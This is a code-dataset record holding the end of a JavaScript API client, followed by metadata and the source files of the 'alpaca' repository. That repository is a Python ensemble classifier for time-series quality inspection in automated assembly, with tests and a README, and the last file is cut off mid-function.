\"<tr><td>\"+out.message+\"</td><td>\"+out[\"similarity ratio\"]+\"</td><td>\"+out.statuscode+\"</td><td>\"+out [\"tokens left\"]+\"</td></tr>\";\n \n var tblbottom = \"</table>\";\n var tbl = tbltop + main + tblbottom;\n document.getElementById(\"check\").innerHTML = tbl;\n // alert(out.message);\n }\n };\n \n xhr.send(jsonS);\n}\n\n// sender fnc that takes inputs from the form and calls the Check api\nfunction Checksend(){\n var username = document.getElementById(\"RegisterForm\").username.value;\n var password = document.getElementById(\"RegisterForm\").password.value;\n\n var text1 = document.getElementById(\"CheckForm\").text1.value;\n var text2 = document.getElementById(\"CheckForm\").text2.value;\n makeCorsRequestCheck(username, password, text1, text2);\n}\n \n// function that calls for Refill\nfunction makeCorsRequestRefill(username, admin_pass, amt){\n var url = \"https://cors-anywhere.herokuapp.com/ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/refill\";\n var xhr = createCorsRequest('POST', url)\n const inJson = {\n \"username\" : username ,\n \"admin_password\" : admin_pass ,\n \"refill_amt\" : Number(amt)\n };\n const jsonS = JSON.stringify(inJson);\n if(!xhr){\n alert('CORS not supported');\n return;\n }\n xhr.onload = function(){\n var text = xhr.responseText;\n // alert('Response from Cors requestt')\n };\n xhr.onerror = function(){\n alert('There is an error in calling');\n };\n xhr.setRequestHeader(\"Content-Type\", \"application/json\");\n\n xhr.onreadystatechange = function(){\n if(xhr.readyState == 4 && xhr.status == 200){\n var out = JSON.parse(xhr.responseText);\n var main = \"\";\n var tbltop = `<table>\n <tr><th>Message</th><th>Status Code</th><th>Tokens left</th></tr>`;\n \n main += \"<tr><td>\"+out.message+\"</td><td>\"+out.statuscode+\"</td><td>\"+out[\"tokens left\"]+\"</td></tr>\";\n \n var tblbottom = \"</table>\";\n var tbl = tbltop + main + tblbottom;\n document.getElementById(\"refill\").innerHTML = tbl;\n // alert(out.message);\n }\n };\n \n xhr.send(jsonS);\n}\n\n// sender fnc that takes inputs from the form and calls Refill the api \nfunction Refillsend(){\n var username = document.getElementById(\"RegisterForm\").username.value;\n var admin_password = document.getElementById(\"RefillForm\").admin_password.value;\n const refill_amt = document.getElementById(\"RefillForm\").refill_amt.value;\n \n makeCorsRequestRefill(username, admin_password, refill_amt);\n}\n\n \n" } ]
6
sebastianden/alpaca
https://github.com/sebastianden/alpaca
b78d503bbe82cb331919f55843670edcb7cb87d8
f170e63999d85326312a3aed155c8a4cb2c85815
4b042d07e0251124c19cf17dca345acb3fca5dc7
refs/heads/master
2023-01-24T22:46:14.312877
2020-11-15T09:52:04
2020-11-15T09:52:04
228,786,452
0
0
MIT
2019-12-18T07:48:43
2020-10-16T15:22:53
2020-10-20T08:53:56
Jupyter Notebook
[ { "alpha_fraction": 0.5198958516120911, "alphanum_fraction": 0.5407214760780334, "avg_line_length": 37.35714340209961, "blob_id": "a83e046f7c05b7869a92a58078c3f6c6e905a944", "content_id": "1f10dd8ecb28bc12674cb1880020878b1ac0d686", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2689, "license_type": "permissive", "max_line_length": 84, "num_lines": 70, "path": "/src/test_time.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "from alpaca import Alpaca\nfrom utils import to_time_series_dataset, to_dataset, split_df, TimeSeriesResampler \nimport time\nimport numpy as np\nimport pandas as pd\nfrom sklearn.pipeline import Pipeline\n\nmax_sample = 20\n\nfor dataset in ['uc2']:\n if dataset == 'uc1':\n X, y = split_df(pd.read_pickle('..\\\\data\\\\df_uc1.pkl'),\n index_column='run_id',\n feature_columns=['fldPosition', 'fldCurrent'],\n target_name='target')\n y = np.array(y)\n # Length of timeseries for resampler and cnn\n sz = 38\n # Number of channels for cnn\n num_channels = len(X[0][0])\n # Number of classes for cnn\n num_classes = np.unique(y).shape[0]\n if dataset == 'uc2':\n X, y = split_df(pd.read_pickle('..\\\\data\\\\df_uc2.pkl'),\n index_column='run_id',\n feature_columns=['position', 'force'],\n target_name='label')\n y = np.array(y)\n # Length of timeseries for resampler and cnn\n sz = 200\n # Number of channels for cnn\n num_channels = len(X[0][0])\n # Number of classes for cnn\n num_classes = np.unique(y).shape[0]\n\n resampler = TimeSeriesResampler(sz=sz)\n alpaca = Pipeline([('resampler', resampler),\n ('classifier', Alpaca())])\n alpaca.fit(X, y, classifier__stacked=False, classifier__n_clusters=200)\n\n # Measure time for single sample processing\n t = []\n for i in range(1, max_sample+1):\n for j in range(10):\n rand = np.random.randint(2000)\n sample = np.transpose(to_time_series_dataset(X[rand]), (2, 0, 1))\n start = time.process_time()\n for k in range(100):\n for l in range(i):\n y_pred_bin, y_pred = alpaca.predict(sample, voting='veto')\n end = time.process_time()\n t.append([i, (end-start)/100, 'single'])\n\n # Measure time for batch processing of multiple sample numbers\n for i in range(1, max_sample+1):\n for j in range(10):\n rand = np.random.randint(2000)\n if i == 1:\n sample = np.transpose(to_time_series_dataset(X[rand]), (2, 0, 1))\n else:\n sample = to_dataset(X[rand:rand+i])\n\n start = time.process_time()\n for k in range(100):\n y_pred_bin, y_pred = alpaca.predict(sample, voting='veto')\n end = time.process_time()\n t.append([i, (end-start)/100, 'batch'])\n\n df = pd.DataFrame(t, columns=['Sample Number', 'Time', 'Type'])\n df.to_csv(\"..\\\\results\\\\Time_\"+dataset+\".csv\")\n\n\n\n\n" }, { "alpha_fraction": 0.5743809938430786, "alphanum_fraction": 0.5934110879898071, "avg_line_length": 54.54545593261719, "blob_id": "183a2d6c97c1061f8cec958cededb9a8b155aa59", "content_id": "f0d07675d822a2abe39105315463d81eb4d7a16f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4888, "license_type": "permissive", "max_line_length": 429, "num_lines": 88, "path": "/README.md", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "# ALPACA\n**A** **L**earning **P**roduct **A**ssembly **C**lassification **A**lgorithm\n\nTimeseries classification algorithm aiming to avoid False Negatives in the classification of process signals. This code complements the paper submitted to the journal of [Decision Support Systems](https://www.journals.elsevier.com/decision-support-systems) _\"Applied Machine Learning for a Zero Defect Tolerance System in the Automated Assembly of Pharmaceutical Devices\"_ by Dengler _et. al._ \n\nAlpaca automatically performes a gridsearch cross-validation for each of the algorithms elements and composes the final classifier of the best performing individual models. For the cross-validation the number of folds _k_ is equal to 5. For each model a different hyper-parameter space is searched. The following tables show the hyperparameter that are included in the gridsearch and the range for each algorithm in the ensemble.\n\n**Anomaly Detection**\n| Parameter | Range |\n|--------------------|---------------|\n| Number of clusters | 10,50,100,200 |\n\n**Decision Tree**\n| Parameter | Range |\n|--------------------|-------------------|\n| Number of windows | 1, 2, 3, 4, 5, 6 |\n| Maximum depth | 3, 4, 5 |\n| Criterion | 'gini', 'entropy' |\n\n**Support Vector Machines**\n| Parameter | Range |\n|---------------------------------------|-------------------------------------------|\n| C | 10, 100, 1000, 10000 | \n| γ (in case of rbf kernel) | 0.01, 0.001, 0.0001, 0.00001 |\n| Degree (in case of polynomial kernel) | 2, 3 |\n| Kernel | Radial Basis Function, Linear, Polynomial |\n\n**Convolutional Neural Network**\n| Parameter | Range |\n|----------------------------------------------------------|------------------------------|\n| Batch Size | 20, 30 |\n| Number of convolutional layers | 1, 2 |\n| Number of filters | 4, 8, 16 |\n| Length of the filters (as fraction of the signal length) | 0.05, 0.1, 0.2 |\n| Activation function | ReLU |\n| Optimizer | ADAM |\n| Loss function | Categorical cross-entropy |\n\n## 1. Requirements\n\nThe sourcecode of this project was written in Python 3.7.4 and has dependencies in the following packages:\n```\nnumpy\nscipy\npandas\ngraphviz\nipython\ncython\nscikit-learn==0.22.1\ntslearn==0.2.5\ntensorflow==1.15.4\n```\n\nInstall the dependencies via the following command:\n```\npip install -r /path/to/requirements.txt\n```\nSome of the used packages might have dependencies outside of Python.\n\n## 2. Executing the program\n\nThe algorithm adapts methods similar to the standards of the `scikit-learn` library.\n\nA pipeline can be set up such as:\n```\nalpaca = Pipeline([('resampler', TimeSeriesResampler(sz=sz)),('alpaca', Alpaca())])\n```\n\nand can be trained by calling:\n```\nalpaca.fit(X_train, y_train)\n```\n\nAfter training predictions can be made with:\n```\ny_pred_bin, y_pred = alpaca.predict(X_test, voting=\"veto\")\n```\nNotice that unlike the `predict` method known from `scikit-learn` this implementation takes an additional argument `voting` and returns two arrays as predictions. \nThe voting argument can be varied between `democratic` and `veto` to adjust the voting scheme of the ensemble. Stacked classifiers can be utilized, too, by assigning `voting` to `meta_dtc` or `meta_svc`. \n\nThe first return argument (`y_pred_bin`) contains the quality result and only differentiates between rejected and accepted. The second returned array (`y_pred`) includes the class predictions of the calssifier ensemble.\n\nThe pipeline accepts data `X` in form of a 3D numpy array or a list of lists. In case of a numpy array the dimensions are: `X[n_samples,n_points_per_timeseries,n_channels]`. In case of a list of lists, the structure is similar: `X[n_samples][n_points_per_timeseries][n_channels]`.\n The advantage of using a list of lists is, that the timeseries do not have to be the same length troughout every sample, and can be easily resampled by using a `TimeSeriesResampler()` in the pipeline.\n\nThe label `y` can either be a 1D numpy array or a list of class values. Number 0 must be assigned to the negative class. The different positive classes are assigned the subsequent values (1,2,3,...).\n\nTwo examples of possible pipelines are given in the `main.py` file." }, { "alpha_fraction": 0.4764319360256195, "alphanum_fraction": 0.48469483852386475, "avg_line_length": 41.91935348510742, "blob_id": "364f4ec0df1224efa6b5f5d771c7bf822a50f585", "content_id": "e6f732d65d1003a37939f66d93a7f4c0fe6356da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5325, "license_type": "permissive", "max_line_length": 123, "num_lines": 124, "path": "/src/test_use_case.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "from alpaca import Alpaca\nfrom utils import to_time_series_dataset, split_df, TimeSeriesResampler, confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nfrom sklearn.pipeline import Pipeline\nimport time\nimport numpy as np\nimport pandas as pd\n\n# Variables\nrepetitions = 2\n\nif __name__ == \"__main__\":\n\n # For both datasets\n for dataset in ['uc1']:\n print(\"Dataset: \", dataset)\n\n results = []\n #timing = []\n #outliers = []\n\n if dataset == 'uc1':\n X, y = split_df(pd.read_pickle('..\\\\data\\\\df_uc1.pkl'),\n index_column='run_id',\n feature_columns=['fldPosition', 'fldCurrent'],\n target_name='target')\n # Length of timeseries for resampler and cnn\n sz = [38,41]\n # Number of channels for cnn\n num_channels = len(X[0][0])\n # Number of classes for cnn\n num_classes = np.unique(y).shape[0]\n\n elif dataset == 'uc2':\n X, y = split_df(pd.read_pickle('..\\\\data\\\\df_uc2.pkl'),\n index_column='run_id',\n feature_columns=['position', 'force'],\n target_name='label')\n # Length of timeseries for resampler and cnn\n sz = [200]\n # Number of channels for cnn\n num_channels = len(X[0][0])\n # Number of classes for cnn\n num_classes = np.unique(y).shape[0]\n\n # For each repetition\n for r in range(repetitions):\n print(\"Repetition #\", r)\n # For each resampling length\n for s in sz:\n print(\"Resampling size:\", s)\n t_start = time.time()\n # Shuffle for Keras\n X, y = shuffle(X, y, random_state=r)\n # Turn y to numpy array\n y = np.array(y)\n # Split into train and test sets\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, stratify=y, random_state=r)\n\n alpaca = Pipeline([('resampler', TimeSeriesResampler(sz=s)),\n ('classifier', Alpaca())])\n alpaca.fit(X_train, y_train, classifier__stacked=False, classifier__n_clusters=200)\n\n # Prediction\n y_pred_bin, y_pred = alpaca.predict(X_test, voting=\"veto\")\n y_test_bin = np.copy(y_test)\n y_test_bin[y_test_bin > 0] = 1\n\n # BINARY RESULTS (AD + ENSEMBLE)\n tn, fp, fn, tp = confusion_matrix(y_test_bin, y_pred_bin).ravel()\n # Append overall error\n results.append([s, r, 'err_bin', (fp + fn) / (tn + fp + fn + tp)])\n # Append false negative rate\n results.append([s, r, 'fnr_bin', fn / (fn + tp)])\n # Append false positive rate\n results.append([s, r, 'fpr_bin', fp / (fp + tn)])\n\n # CLASSIFIER RESULTS\n y_pred_clf = np.copy(y_pred)\n y_pred_clf[y_pred_clf != 0] = 1 # Also turn classifier predictions to binary for cfm\n tn, fp, fn, tp = confusion_matrix(y_test_bin, y_pred_clf).ravel()\n # Append overall error\n results.append([s, r, 'err_ens', (fp + fn) / (tn + fp + fn + tp)])\n # Append false negative rate\n results.append([s, r, 'fnr_ens', fn / (fn + tp)])\n # Append false positive rate\n results.append([s, r, 'fpr_ens', fp / (fp + tn)])\n \"\"\"\n # TIMING\n sample = np.transpose(to_time_series_dataset(X_test[0]), (2, 0, 1))\n start = time.time()\n for i in range(100):\n alpaca.predict(sample, voting='veto')\n end = time.time()\n timing.append([(end - start) * 10, s]) # in ms\n\n\n # SAVE OUTLIERS (with y_pred,y_pred_bin, y_true)\n idx = np.where(y_test_bin != y_pred_bin)\n # Flattened curves\n for i in idx[0]:\n outliers.append([X_test[i],\n y_pred[i],\n y_test[i],\n y_pred_bin[i],\n y_test_bin[i]])\n \"\"\"\n t_end = time.time()\n print(\"Substest finished, duration \",(t_end-t_start))\n\n # SAVE ALL RESULTS PER DATASET\n df = pd.DataFrame(results, columns=['resampling', 'test', 'metric', 'value'])\n df.to_csv(\"..\\\\results\\\\Test\"+dataset+\".csv\")\n #df = pd.DataFrame(timing, columns=['time', 'resampling'])\n #df.to_csv(\"..\\\\results\\\\Timing\"+dataset+\".csv\")\n #df = pd.DataFrame(outliers, columns=['sample', 'y_pred', 'y_test', 'y_pred_bin', 'y_test_bin'])\n #df.to_pickle(\"..\\\\results\\\\Outliers\"+dataset+\".pkl\")\n\n\n #plot_confusion_matrix(y_test_bin.astype(int), y_pred_bin.astype(int), np.array([\"0\", \"1\"]), cmap=plt.cm.Blues)\n #plt.show()\n #plot_confusion_matrix(y_test.astype(int), y_pred.astype(int), np.array([\"0\", \"1\", \"2\", \"3\", \"?\"]), cmap=plt.cm.Greens)\n #plt.show()\n\n\n\n" }, { "alpha_fraction": 0.6048228144645691, "alphanum_fraction": 0.6077755689620972, "avg_line_length": 43.15217208862305, "blob_id": "6a1b99c03505a5b3447747ddaf472ed82af9a2af", "content_id": "fe4f6c020cf09e161956828c07805b9334c4cb94", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2032, "license_type": "permissive", "max_line_length": 113, "num_lines": 46, "path": "/src/main.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nfrom utils import split_df, TimeSeriesResampler, plot_confusion_matrix, Differentiator\nfrom alpaca import Alpaca\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import Pipeline\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n \n \"\"\"\n IMPORT YOUR DATA HERE\n X, y = \n DEFINE RESAMPLING LENGTH IF NEEDED\n sz = \n \"\"\"\n \n # Turn y to numpy array\n y = np.array(y)\n # Split into train and test sets\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, stratify=y, random_state=42)\n\n # Pipeline example\n alpaca = Pipeline([('resampler', TimeSeriesResampler(sz=sz)),('alpaca', Alpaca())])\n alpaca.fit(X_train, y_train)\n \n \"\"\"\n # Example with additional channel derived from channel 0\n alpaca = Pipeline([('resampler', TimeSeriesResampler(sz=sz)),\n ('differentiator',Differentiator(channel=0)),\n ('alpaca', Alpaca())])\n \"\"\"\n\n y_pred_bin_veto, y_pred_veto = alpaca.predict(X_test, voting=\"veto\")\n y_pred_bin_dem, y_pred_dem = alpaca.predict(X_test, voting=\"democratic\")\n y_pred_bin_meta_dtc, y_pred_meta_dtc = alpaca.predict(X_test, voting=\"meta_dtc\")\n y_pred_bin_meta_svc, y_pred_meta_svc = alpaca.predict(X_test, voting=\"meta_svc\")\n\n # Store all results in a dataframe\n y_pred_indiv = np.column_stack((y_pred_bin_veto, y_pred_veto,y_pred_bin_dem, y_pred_dem, y_pred_bin_meta_dtc,\n y_pred_meta_dtc, y_pred_bin_meta_svc, y_pred_meta_svc, y_test)).astype(int)\n df_results = pd.DataFrame(y_pred_indiv, columns = ['y_pred_bin_veto', 'y_pred_veto','y_pred_bin_dem', \n 'y_pred_dem', 'y_pred_bin_meta_dtc','y_pred_meta_dtc', \n 'y_pred_bin_meta_svc', 'y_pred_meta_svc', 'y_true'])\n df_results.to_csv(\"results\\\\y_pred_total.csv\",index=False)\n print(\"TEST FINISHED SUCCESSFULLY\")\n\n" }, { "alpha_fraction": 0.5750622749328613, "alphanum_fraction": 0.585944652557373, "avg_line_length": 36.114356994628906, "blob_id": "6c6f51422d1a5eab0a8f2970281cb3aec2aaf802", "content_id": "8700d4516e3c88d92de36a5266fd8ede9ff0f31e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15254, "license_type": "permissive", "max_line_length": 114, "num_lines": 411, "path": "/src/alpaca.py", "repo_name": "sebastianden/alpaca", "src_encoding": "UTF-8", "text": "import warnings\nwarnings.simplefilter(action='ignore')\nimport pickle\nimport pandas as pd\nimport numpy as np\n\nfrom utils import TimeSeriesScalerMeanVariance, Flattener, Featuriser, plot_dtc\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.base import ClassifierMixin, BaseEstimator, clone\n\nfrom tslearn.clustering import TimeSeriesKMeans\nfrom tslearn.neighbors import KNeighborsTimeSeriesClassifier\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv1D, Dense, MaxPooling1D, Flatten\nfrom tensorflow.keras.wrappers.scikit_learn import KerasClassifier\n\nfrom IPython.display import SVG\nfrom tensorflow.keras.utils import model_to_dot\nfrom tensorflow.keras.utils import plot_model\n\n\nclass Alpaca(ClassifierMixin):\n \"\"\"\n A learning product classification algorithm.\n \"\"\"\n def __init__(self):\n self.anomaly_detection = AnomalyDetection()\n self.classifier = Classifier()\n\n def fit(self, X, y, stacked=True):\n \"\"\"\n Fit the algorithm according to the given training data.\n Parameters\n ----------\n X : array-like of shape (n_samples, n_features, n_channels)\n Training samples.\n y : array-like of shape (n_samples,)\n True labels for X.\n stacked: bool\n If true train a meta classifier on kfold CV predictions of the level 1 classifiers\n Returns\n -------\n self: object\n Fitted model\n \"\"\"\n # Fit anomaly detection\n # Do GridSearch to get best model\n param_grid = {'n_clusters': [10,50,100,200]}\n grid = GridSearchCV(self.anomaly_detection, param_grid, cv=5, refit=True, verbose=2, n_jobs=-1)\n grid.fit(X, y)\n \n # Save results\n df_results = pd.DataFrame.from_dict(data=grid.cv_results_)\n df_results.to_csv(\"results\\\\ad.csv\",index=False)\n print(grid.best_params_)\n # Take best model\n self.anomaly_detection = grid.best_estimator_\n # Save the model\n with open(\"models\\\\ad.pkl\", 'wb') as file:\n pickle.dump(self.anomaly_detection, file)\n\n # Fit ensemble classifier\n self.classifier.fit(X, y, stacked)\n\n return self\n\n def predict(self, X, voting):\n \"\"\"\n Perform a classification on samples in X.\n Parameters\n ----------\n X : array-like of shape (n_samples, n_features, n_channels)\n Test samples.\n voting: string\n Voting scheme to use\n Returns\n -------\n y_pred: array, shape (n_samples,)\n Predictions from ensemble with suggested class labels\n y_pred_bin: array, shape (n_samples,)\n Combined binary predictions\n \"\"\"\n # Class predictions of ensemble\n y_pred, y_pred_ens = self.classifier.predict(X, voting=voting)\n # Binary predictions of anomaly detector\n y_pred_ad = self.anomaly_detection.predict(X)\n # Save individual predictions\n y_pred_indiv = np.column_stack((y_pred_ens, y_pred_ad)).astype(int)\n df_results = pd.DataFrame(y_pred_indiv, columns = ['y_pred_dtc','y_pred_svc','y_pred_cnn','y_pred_ad'])\n df_results.to_csv(\"results\\\\y_pred_indiv.csv\",index=False)\n\n # Overwrite the entries in y_pred_knn with positive, where ensemble decides positive\n y_pred_bin = np.where(y_pred != 0, 1, y_pred_ad)\n return y_pred_bin, y_pred\n\n\nclass AnomalyDetection(ClassifierMixin, BaseEstimator):\n \"\"\"\n Anomaly detection with 1-NN and automatic calculation of optimal threshold.\n \"\"\"\n def __init__(self, n_clusters=200):\n self.knn = KNeighborsTimeSeriesClassifier(n_neighbors=1, weights='uniform', metric='euclidean', n_jobs=-1)\n self.d = None\n self.n_clusters = n_clusters\n\n def fit(self, X, y):\n \"\"\"\n Fit the algorithm according to the given training data.\n Parameters\n ----------\n X : array-like of shape (n_samples, n_features, n_channels)\n Training samples.\n y : array-like of shape (n_samples,)\n True labels for X.\n Returns\n -------\n self: object\n Fitted model\n \"\"\"\n # Fit anomaly detection knn over k-means centroids\n X_good = X[np.where(y == 0)]\n X_bad = X[np.where(y != 0)]\n km = TimeSeriesKMeans(n_clusters=self.n_clusters, metric=\"euclidean\",\n max_iter=100, random_state=0, n_jobs=-1).fit(X_good)\n self.knn.fit(km.cluster_centers_, np.zeros((self.n_clusters,)))\n\n # Calculate distances to all samples in good and bad\n d_bad, _ = self.knn.kneighbors(X_bad)\n d_good, _ = self.knn.kneighbors(X_good)\n\n # Calculate ROC\n y_true = np.hstack((np.zeros(X_good.shape[0]), np.ones(X_bad.shape[0])))\n y_score = np.vstack((d_good, d_bad))\n fpr, tpr, thresholds = roc_curve(y_true, y_score, pos_label=1)\n\n # Determine d by Youden index\n self.d = thresholds[np.argmax(tpr - fpr)]\n return self\n\n def predict(self, X):\n \"\"\"\n Perform a classification on samples in X.\n Parameters\n ----------\n X : array-like of shape (n_samples, n_features, n_channels)\n Test samples.\n Returns\n -------\n y_pred: array, shape (n_samples,)\n Predictions\n \"\"\"\n # Binary predictions of anomaly detector\n y_pred = np.squeeze(np.where(self.knn.kneighbors(X)[0] < self.d, 0, 1))\n return y_pred\n\n\nclass Classifier(ClassifierMixin):\n \"\"\"\n Classifier part with ensemble of estimators.\n \"\"\"\n def __init__(self):\n\n # DTC pipeline\n featuriser = Featuriser()\n dtc = DecisionTreeClassifier()\n self.dtc_pipe = Pipeline([('featuriser', featuriser), ('dtc', dtc)])\n \n # SVC pipeline\n scaler = TimeSeriesScalerMeanVariance(kind='constant')\n flattener = Flattener()\n svc = SVC()\n self.svc_pipe = Pipeline([('scaler', scaler), ('flattener', flattener), ('svc', svc)])\n\n # Keras pipeline\n #len_filter = round(len_input*0.05)\n #num_filter = 8\n cnn = KerasClassifier(build_fn=build_cnn, epochs=100, verbose=0)\n self.cnn_pipe = Pipeline([('scaler', scaler), ('cnn', cnn)])\n \n # Meta classifier\n self.meta_dtc = DecisionTreeClassifier()\n self.meta_svc = SVC()\n\n def fit(self, X, y, stacked):\n \"\"\"\n Fit each individual estimator of the ensemble model according to the given training data.\n Parameters\n ----------\n X : array-like of shape (n_samples, n_features, n_channels)\n Training samples.\n y : array-like of shape (n_samples,)\n True labels for X.\n stacked: bool\n If true train a meta classifier on kfold CV predictions of the level 1 classifiers\n Returns\n -------\n self: object\n Fitted model\n \"\"\"\n # Fit DTC\n # Do GridSearch to get best model\n param_grid = {'featuriser__windows': [1, 2, 3, 4, 5, 6],\n 'dtc__max_depth': [3, 4, 5],\n 'dtc__criterion': ['gini', 'entropy']}\n grid = GridSearchCV(self.dtc_pipe, param_grid, cv=5, refit=True, verbose=2, n_jobs=-1)\n grid.fit(X, y)\n # Save results\n df_results = pd.DataFrame.from_dict(data=grid.cv_results_)\n df_results.to_csv(\"results\\\\dtc.csv\",index=False)\n print(grid.best_params_)\n # Take best model\n self.dtc_pipe = grid.best_estimator_\n # Plot the dtc\n #plot_dtc(self.dtc_pipe['dtc'])\n # Save the model\n with open(\"models\\\\dtc_pipe.pkl\", 'wb') as file:\n pickle.dump(self.dtc_pipe, file)\n\n # Fit SVC\n # Do GridSearch to get best model\n param_grid = {'svc__C': [10, 100, 1000, 10000],\n 'svc__gamma': [0.01, 0.001, 0.0001, 0.00001],\n 'svc__degree': [2, 3],\n 'svc__kernel': ['rbf', 'linear', 'poly']}\n grid = GridSearchCV(self.svc_pipe, param_grid, cv=5, refit=True, verbose=2, n_jobs=-1)\n grid.fit(X, y)\n # Save results\n df_results = pd.DataFrame.from_dict(data=grid.cv_results_)\n df_results.to_csv(\"results\\\\svc.csv\",index=False)\n print(grid.best_params_)\n # Take best model\n self.svc_pipe = grid.best_estimator_\n # Save the model\n with open(\"models\\\\svc_pipe.pkl\", 'wb') as file:\n pickle.dump(self.dtc_pipe, file)\n\n # Fit CNN\n # Do GridSearch to get best model\n param_grid = {'cnn__num_channels':[X.shape[2]], \n 'cnn__len_input':[X.shape[1]], \n 'cnn__num_classes':[np.unique(y).shape[0]],\n 'cnn__batch_size': [20, 30],\n 'cnn__num_filter': [4, 8, 16],\n 'cnn__num_layer': [1, 2],\n 'cnn__len_filter': [0.05, 0.1, 0.2]} # len_filter is defined as fraction of input_len\n grid = GridSearchCV(self.cnn_pipe, param_grid, cv=5, refit=True, verbose=2, n_jobs=-1)\n grid.fit(X, y)\n # Save results\n df_results = pd.DataFrame.from_dict(data=grid.cv_results_)\n df_results.to_csv(\"results\\\\cnn.csv\",index=False)\n print(grid.best_params_)\n # Take best model\n self.cnn_pipe = grid.best_estimator_\n # Save the model \n self.cnn_pipe['cnn'].model.save(\"models\\\\cnn.h5\")\n\n # Fit the Metaclassifiers \n if stacked:\n # Get level 1 classifier predictions as training data\n X_stacked, y_stacked = kfoldcrossval(self, X, y, k=5)\n # Fit Meta DTC\n self.meta_dtc.fit(X_stacked, y_stacked)\n # Save the model\n with open(\"models\\\\meta_dtc.pkl\", 'wb') as file:\n pickle.dump(self.meta_dtc, file)\n # Fit Meta SVC\n self.meta_svc.fit(X_stacked, y_stacked)\n # Save the model\n with open(\"models\\\\meta_svc.pkl\", 'wb') as file:\n pickle.dump(self.meta_svc, file)\n\n return self\n\n def predict(self, X, voting='veto'):\n \"\"\"\n Perform a classification on samples in X.\n Parameters\n ----------\n X : array-like of shape (n_samples, n_features, n_channels)\n Test samples.\n voting: string\n Voting scheme to use\n Returns\n -------\n y_pred: array, shape (n_samples,)\n Predictions\n y_pred_ens: array, shape (n_samples, 3)\n Predictions of the individual estimators\n \"\"\"\n y_pred = np.empty(np.shape(X)[0])\n # Parallelize this part\n y_dtc = self.dtc_pipe.predict(X)\n y_svc = self.svc_pipe.predict(X)\n y_cnn = self.cnn_pipe.predict(X)\n\n y_pred_ens = np.stack([y_dtc, y_svc, y_cnn], axis=1).astype(int)\n\n if voting == 'veto':\n for i in range(np.shape(X)[0]):\n if y_dtc[i] == y_svc[i] == y_cnn[i]:\n y_pred[i] = y_dtc[i]\n else:\n y_pred[i] = -1\n\n if voting == 'democratic':\n for i in range(np.shape(X)[0]):\n y_pred[i] = np.argmax(np.bincount(y_pred_ens[i, :]))\n\n if voting == 'meta_dtc':\n y_pred = self.meta_dtc.predict(y_pred_ens)\n\n if voting == 'meta_svc':\n y_pred = self.meta_svc.predict(y_pred_ens)\n\n return y_pred, y_pred_ens\n\n\ndef kfoldcrossval(model, X, y, k=5):\n \"\"\"\n Performs another cross-validation with the optimal models in order to\n get the level 1 predictions to train the meta classifier.\n Parameters\n ----------\n model: object\n Ensemble classifier object\n X : array-like of shape (n_samples, n_features, n_channels)\n Samples.\n y : array-like of shape (n_samples,)\n True labels for X.\n k: int\n Number of splits\n Returns\n -------\n X_stack: array-like of shape (n_samples, n_features)\n Level 1 predictions as training data for metaclassifier\n y_stack: array-like of shape (n_samples,)\n Targets for metaclassifier\n \"\"\"\n kfold = StratifiedKFold(n_splits=k, shuffle=True, random_state=42)\n X_stack = np.empty((0, 3))\n y_stack = np.empty((0,))\n\n # Make a copy of the already fitted classifiers (to not overwrite the originals)\n dtc_temp = clone(model.dtc_pipe)\n svc_temp = clone(model.svc_pipe)\n cnn_temp = clone(model.cnn_pipe)\n\n # Train classifiers agin in kfold crossvalidation to get level 1 predictions\n for train, test in kfold.split(X, y):\n # Train all models on train\n dtc_temp.fit(X[train], y[train])\n svc_temp.fit(X[train], y[train])\n cnn_temp.fit(X[train], y[train])\n # Test all on test\n y0 = dtc_temp.predict(X[test])\n y1 = svc_temp.predict(X[test])\n y2 = cnn_temp.predict(X[test])\n # Concatenate predictions of individual classifier\n a = np.stack((y0, y1, y2), axis=-1).astype(int)\n # Concatenate with predictions from other splits\n X_stack = np.vstack((X_stack, a))\n y_stack = np.hstack((y_stack, y[test]))\n return X_stack, y_stack\n\n\ndef build_cnn(num_filter, len_filter, num_layer, num_channels, len_input, num_classes):\n \"\"\"\n Function returning a keras model.\n Parameters\n ----------\n num_filter: int\n Number of filters / kernels in the conv layer\n len_filter: float\n Length of the filters / kernels in the conv layer as fraction of inputlength\n num_layer: int\n Number of convlutional layers in the model\n num_channels: int\n Number of channels of the input\n len_input: int\n Number of dimensions of the input\n num_classes: int\n Number of classes in the dataset = Number of outputs\n Returns\n -------\n model: sequential keras model\n Keras CNN model ready to be trained\n \"\"\"\n model = Sequential()\n # First Conv Layer\n model.add(Conv1D(filters=num_filter, kernel_size=int(len_filter*len_input), strides=1, padding=\"same\",\n activation='relu', input_shape=(len_input, num_channels), name='block1_conv1'))\n model.add(MaxPooling1D(pool_size=2, strides=2, padding=\"same\", name='block1_pool'))\n # Other Conv Layers\n for l in range(2, num_layer + 1):\n model.add(Conv1D(filters=num_filter*l, kernel_size=int(len_filter * len_input), strides=1, padding=\"same\",\n activation='relu', name='block' + str(l) + '_conv1'))\n model.add(MaxPooling1D(pool_size=2, strides=2, padding=\"same\", name='block' + str(l) + '_pool'))\n\n model.add(Flatten(name='flatten'))\n model.add(Dense(100, activation='relu', name='fc1'))\n 